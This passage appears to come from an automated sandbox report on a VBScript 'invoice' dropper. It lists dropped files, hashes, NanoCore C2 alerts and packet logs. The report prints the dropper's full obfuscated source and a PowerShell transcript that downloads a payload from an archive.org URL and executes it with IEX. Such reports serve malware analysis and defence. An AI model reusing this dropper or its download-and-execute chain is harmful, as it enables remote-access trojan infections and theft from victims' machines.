	7vd7MuxjGd.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	KITCOFiberOptics_CompanyCertifcate.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	LOPEZ CV.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	PO_1994.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	temple.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	transferred $95,934.55 pdf.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	gunzipped.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	Remittance copy.pdf.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	09087900900000000.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	cjfq66QXN5.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	INV. 736392 Scan pdf.exe	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	#WUHD09.vbs	Get hash	malicious	Browse	207.241.227.125 207.241.228.148
	Property.vbs	Get hash	malicious	Browse	207.241.227.125 207.241.228.148

Dropped Files

No context

Created / dropped Files

C:\Users\Public\Run\Run.vbs Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	908
Entropy (8bit):	5.494432834103593
Encrypted:	false
SSDEEP:	12:PvzC6yh48+XZi8fyAixHhZyMAHifvAeRoUVzM8NoeT8OobLqhP/v1VJv9Os/s:Pv2H+JitbfAMvAeym6bPiJFxs
MD5:	C0A8D3A40D4A6B9F6913A04A6F2AE345
SHA1:	8952D8F47DB152581200B0497B06BD1E9DE9AFCD
SHA-256:	460AD0D8DA835DCE91DB836BB0BE306FD369EFFEB626CAF543AA299BD4697DA0
SHA-512:	31CB93334DF71B755DCFE54210DD3EED2C32DE8070561425E2DD495A4934C9EBA2E0A333E3FC8338BA06C444E64ABE967A435139AB90050BB87D4A2859C57E30
Malicious:	false
Preview:	Dim FBI..Set FBI= CreateObject("WScript.S"&"HELL")..Donal=chr(80) &"O" & Chr(87)..Trump = Chr(69)..mike = Chr(82) & "s"&"H" & Chr(69)..pompeo = Chr(76)..Elon =Chr(76)&" $TRUMP ='https://ia801408.us.archive.org/20/items/server_202108/Server.txt';$"..WHO = "B ='E"..ERO = "TH COINt.WTF COINlIOSNT'.Re"..AA = "place('ETH COIN','nE').Repl"..BB = "ace('TF COIN','EbC').Rep"..CC = "lace('OS','e');"..MUSK = "$CC = 'DOS COIN L"&"SOSCOINnG'.Rep"..DD = "lace('S COIN ','Wn').Repl"..FF = "ace('SO','oaD').Rep"..GG = "lace('COIN','TrI');"..SHIB =""..INU ="$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Rep"..KK = "lace('os COIN','X(n`e').Repl"..TT = "ace('BTC COIN','-Ob').Rep"..ENB = "lace('TH COIN','`c`T');"..PUMP ="&('I'+'E"..OS = "X')($A -J"..SOS = "oin '')\|&('I'+'E"..EOS = "X');"..COIN = Donal+Trump++mike+pompeo+Elon+WHO+ERO+AA+BB+CC+MUSK+DD+FF+GG+SHIB+INU+KK+TT+ENB+PUMP+OS+SOS+EOS+""..FBI.Run COIN,0..

C:\Users\Public\Run\Windows.lnk Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	690
Entropy (8bit):	3.03893890594732
Encrypted:	false
SSDEEP:	12:8gl020sXUd9Cr/YOmuBJrXE+1gGYNQS0qv4t2Y+xIBjK:8mxBJrXE+1fod0ql7aB
MD5:	B643B57B5474469B70FEC6153C4B2AD8
SHA1:	AD9974BC091487FBBF2AC38D06B41B848AF4B5B9
SHA-256:	BA8AC47D1FA2059B60C96DD4C3490E3C946D82CF35C4574DA2C28E0AF6642AEE
SHA-512:	985F5B9D41770A968B9630DA34B3BD30A95259CF8AF1A73BF77B4F72289435851FCB38CBE48C463047EC7EAEC3003BE189573C8AE8B11AD96A38F5B1D5588F26
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........Public..>............................................P.u.b.l.i.c.....J.1...........Run.8............................................R.u.n.....b.2...........Windows.exe.H............................................W.i.n.d.o.w.s...e.x.e...........\.W.i.n.d.o.w.s...e.x.e.......................... }.j..L..^6.C.T................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	57895
Entropy (8bit):	5.080080220298808
Encrypted:	false
SSDEEP:	1536:cIu+z30xyJJV3CNBQkj22h4iUxxaVkflJnLvAHPqd+KSS3SOdB8NVzltAHkrNKer:ru+z30IJJV3CNBQkj22qiUxaVkflJnLu
MD5:	E494C8B04CCA7990028009C5A768629C
SHA1:	42B21DC378D323E339D49BDC8CD4F96DC5837358
SHA-256:	AB50EF20F6B7CFF39117E3E89980CDD2FCECBCEDDDE456FECED62FC3AED475BF
SHA-512:	E06018D7C94E7FFD45407DCBA4282C9F20D4736867AFC8A0EFF016A7AFA8210FB365A8BA3B9FD824C25744C13BA1D6F8390FD88BEFF44EE2C0332BE619A932CB
Malicious:	false
Preview:	PSMODULECACHE.X...........I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1L.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-SmbBandwidthLimit........Get-SmbClientConfiguration........Get-SmbSession........Get-Sm

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crtkfx14.gxu.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcg2nrvy.g5h.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\catalog.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	data
Category:	dropped
Size (bytes):	1856
Entropy (8bit):	7.089541637477408
Encrypted:	false
SSDEEP:	48:IknjhUknjhUknjhUknjhUknjhUknjhUknjhUknjhL:HjhDjhDjhDjhDjhDjhDjhDjhL
MD5:	30D23CC577A89146961915B57F408623
SHA1:	9B5709D6081D8E0A570511E6E0AAE96FA041964F
SHA-256:	E2130A72E55193D402B5F43F7F3584ECF6B423F8EC4B1B1B69AD693C7E0E5A9E
SHA-512:	2D5C5747FD04F8326C2CC1FB313925070BC01D3352AFA6C36C167B72757A15F58B6263D96BD606338DA055812E69DDB628A6E18D64DD59697C2F42D1C58CC687
Malicious:	false
Preview:	Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.... S....}FF.2...h.M+....L.#.X..+..........~f.G0^..;....W2.=...K.~.L..&f...p............:7rH}..../H......L...?...A.K...J.=8x!....+.2e'..E?.G......[.&Gj.h\.3.A...5.x..&...i+..c(1.P..P.cLT...A.b........4h...t.+..Z\.. .i.

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:+4:+4
MD5:	78D031F87BA3B82386BA23B6397F97AF
SHA1:	8B4F4CAF2B6CDD94A28211900B425BDA89999B0C
SHA-256:	B0F00CABFE6DF9D196E05BB3A8D3563901AB428D4992D5E75D78302292F8C1DC
SHA-512:	B0950459095DA5E6A3B3493BBEA0FC332DC1252513F405B608F2F8507C10B35D64BC20387B283E2FB9D58FE4B68DF120A3E0CC375CC3A5C69153423C0357F9AE
Malicious:	true
Preview:	...Y.V.H

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\settings.bin Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	5.153055907333276
Encrypted:	false
SSDEEP:	3:9bzY6oRDT6P2bfVn1:RzWDT621
MD5:	4E5E92E2369688041CC82EF9650EDED2
SHA1:	15E44F2F3194EE232B44E9684163B6F66472C862
SHA-256:	F8098A6290118F2944B9E7C842BD014377D45844379F863B00D54515A8A64B48
SHA-512:	1B368018907A3BC30421FDA2C935B39DC9073B9B1248881E70AD48EDB6CAA256070C1A90B97B0F64BBE61E316DBB8D5B2EC8DBABCD0B0B2999AB50B933671ECB
Malicious:	false
Preview:	9iH...}Z.4..f.~a........~.~.......3.U.

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\storage.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	data
Category:	dropped
Size (bytes):	327768
Entropy (8bit):	7.999367066417797
Encrypted:	true
SSDEEP:	6144:oX44S90aTiB66x3PlZmqze1d1wI8lkWmtjJ/3Exi:LkjbU7LjGxi
MD5:	2E52F446105FBF828E63CF808B721F9C
SHA1:	5330E54F238F46DC04C1AC62B051DB4FCD7416FB
SHA-256:	2F7479AA2661BD259747BC89106031C11B3A3F79F12190E7F19F5DF65B7C15C8
SHA-512:	C08BA0E3315E2314ECBEF38722DF834C2CB8412446A9A310F41A8F83B4AC5984FCC1B26A1D8B0D58A730FDBDD885714854BDFD04DCDF7F582FC125F552D5C3CA
Malicious:	false
Preview:	pT..!..W..G.J..a.).@.i..wpK.so@...5.=.^..Q.oy.=e@9.B...F..09u"3.. 0t..RDn_4d.....E...i......~...\|..fX_...Xf.p^......>a..$...e.6:7d.(a.A...=.).....{B.[...y%...i.Q.<..xt.X..H.. ..HF7g...I.3.{.n....L.y;i..s-....(5i...........J.5b7}..fK..HV..,...0.... ....n.w6PMl.......v."".v.......#..X.a....../...cC...i..l{>5n.._+.e.d'...}...[..../...D.t..GVp.zz......(...o......b...+`J.{....hS1G.^I..v&.jm.#u..1..Mg!.E..U.T.....6.2>...6.l.K.w"o..E..."K%{....z.7....<...,....]t.:.....[.Z.u...3X8.QI..j_.&..N..q.e.2...6.R.~..9.Bq..A.v.6.G..#y.....O....Z)G...w..E..k(....+..O..........Vg.2xC......O...jc.....z..~.P...q../.-.'.h.._.cj.=..B.x.Q9.pu.\|i4...i...;O...n.?.,. ....v?.5}.OY@.dG\|<.._[.69@.2..m..I..oP=...xrK.?............b..5....i&...l.c\b}..Q..O+.V.mJ.....pz....>F.......H...6$...d...\|m...N..1.R..B.i..........$....$........CY}..$....r.....H...8...li.....7 P......?h....R.iF..6...q(.@LI.s..+K.....?m..H....*. l..&<}....`\|.B....3.....I..o...u1..8i=.z.W..7

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.lnk Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	2.926336827490569
Encrypted:	false
SSDEEP:	12:8gl0IsXowAOcQ/tz0/CSLwrHj4/3BVwzyDilVBJrXE+1gTCNfBT/v4t2Y+xIBjK:8XLDWLgD4/BUBJrXE+1Vpd7aB
MD5:	E51CB0EA03B1F2D0835C8E1201DA23CC
SHA1:	E464C5208721B6CEA60BFB63A3E09B2AEF2E4475
SHA-256:	26BAAC4EF3C57AEA88EFB7DECCFC5AEE293629144E5B4FA26B46A1E82AFEB6DD
SHA-512:	D6E0EDB184C0F0D984619205B1F67E3217FFDD502769EAD433FC9EF0C35BE1A0B731F1E92D3C91D11F6CBD262A9331444F46F50E752B3BC53E3AA332866BA3EC
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....P.1...........user.<............................................j.o.n.e.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....\.1...........Templates.D............................................T.e.m.p.l.a.t.e.s.....b.2...........Windows.exe.H............................................W.i.n.d.o.w.s...e.x.e...........\.W.i.n.d.o.w.s...e.x.e.............y.............>.e.L.:..er.=y...............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.

C:\Users\user\Documents\20210803\PowerShell_transcript.301389.iaYgJ3Zj.20210803203913.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4209
Entropy (8bit):	5.61058983888715
Encrypted:	false
SSDEEP:	96:BZkj2NrdrBqDo1ZedrOZ+j2NrdrBqDo1ZO6vyGLGLwE:9JeJGJNvyGLGLwE
MD5:	707AB5E8985F0E7B8C7673619BF75D31
SHA1:	8F38465F1288122D7A8216E9B0579EE6B44F1EB6
SHA-256:	89816FFD2D33B50BA8A2BEEDB617BE308DCD448A85FBB658E715352F0DAA8DFD
SHA-512:	B53964B5C67C7CCC6E34452A078350ECF240C2B4B254B7E39119A8CAEB958284A69662F1CBEAE26598C31EEFECBF34F3F136AD31480C01520F84945EAD8B0AAB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\Documents\20210803\PowerShell_transcript.301389.iaYgJ3Zj.20210803203913.txt, Author: Joe Security
Preview:	.**********************..Windows PowerShell transcript start..Start time: 20210803203913..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');..Process ID: 6756..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..Serializ

Static File Info

General
File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.530496672914687
TrID:
File name:	3G1J49A6V_Invoice.vbs
File size:	913
MD5:	2da417ae523148f7d65220a2c44d1a0a
SHA1:	7173fc941d4c051cf4bf5b1eac46aa33f2e6b798
SHA256:	c3ddf55e53888193522a7b619370b746cb0a79502c5157a98754a9009f644a11
SHA512:	c96201929f4937e47106f5afc341a548f2f1f90e2a19a3b788836fb33b8bbc300152f4b4892fe00abd75c77f9f61f2c1d1c2d5d686e99dd2e99d799fa4a64721
SSDEEP:	12:PvUC6yh42bXCOXyE8fyAixHhZyMAHifvAeRoUVzM8NoeT8OobLqhP/v1VJv9Os/V:PvnnbyOXPtbfAMvAeym6bPiJFxV
File Content Preview:	Dim FBI....Set FBI= CreateObject("WScript.S"&"HELL")..Donal=chr(80) &"O" & Chr(87)..Trump = Chr(69)..mike = Chr(82) & "s"&"H" & Chr(69)..pompeo = Chr(76)..Elon =Chr(76)&" $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$".

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/03/21-20:41:49.000728	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49776	6700	192.168.2.4	185.244.30.23
08/03/21-20:41:55.743249	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49777	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:02.846134	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49778	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:09.741092	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49779	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:16.538073	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49780	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:23.610473	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49781	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:30.609821	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49782	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:38.598742	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49783	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:45.767442	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49784	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:52.842480	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49785	6700	192.168.2.4	185.244.30.23
08/03/21-20:42:59.878034	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49786	6700	192.168.2.4	185.244.30.23
08/03/21-20:43:06.825128	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49787	6700	192.168.2.4	185.244.30.23
08/03/21-20:43:13.226201	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49789	6700	192.168.2.4	185.244.30.23

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 3, 2021 20:39:15.987169981 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.164120913 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.164302111 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.183140993 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.359813929 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.360070944 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.360095978 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.360121012 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.360138893 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.360169888 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.360205889 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.366322994 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.366348028 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.366415024 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.372102976 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.548307896 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.549798012 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.575921059 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:16.754193068 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.754234076 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.754261017 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.754278898 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:16.754385948 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:17.754581928 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:17.754607916 CEST	443	49746	207.241.227.125	192.168.2.4
Aug 3, 2021 20:39:17.754766941 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:39.292709112 CEST	49746	443	192.168.2.4	207.241.227.125
Aug 3, 2021 20:39:39.331945896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:39.511606932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.511773109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:39.512151003 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:39.692389965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.692430973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.692523956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.692553997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.692573071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.692619085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:39.692653894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:39.694905043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.694933891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.695035934 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:39.696613073 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:39.877999067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.878031015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:39.880145073 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.060410023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060575008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060605049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060636997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060669899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060672045 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.060724974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060739994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.060796976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060822964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060854912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060884953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060909986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060930967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060929060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.060951948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.060956001 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.061290979 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241018057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241045952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241059065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241075039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241091013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241106987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241118908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241142988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241161108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241177082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241195917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241214037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241221905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241230011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241245985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241246939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241250038 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241252899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241264105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241272926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241281033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241318941 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241337061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241358995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241360903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241377115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241386890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241425037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241441011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241457939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:40.241461039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:40.241472960 CEST	443	49756	207.241.228.148	192.168.2.4
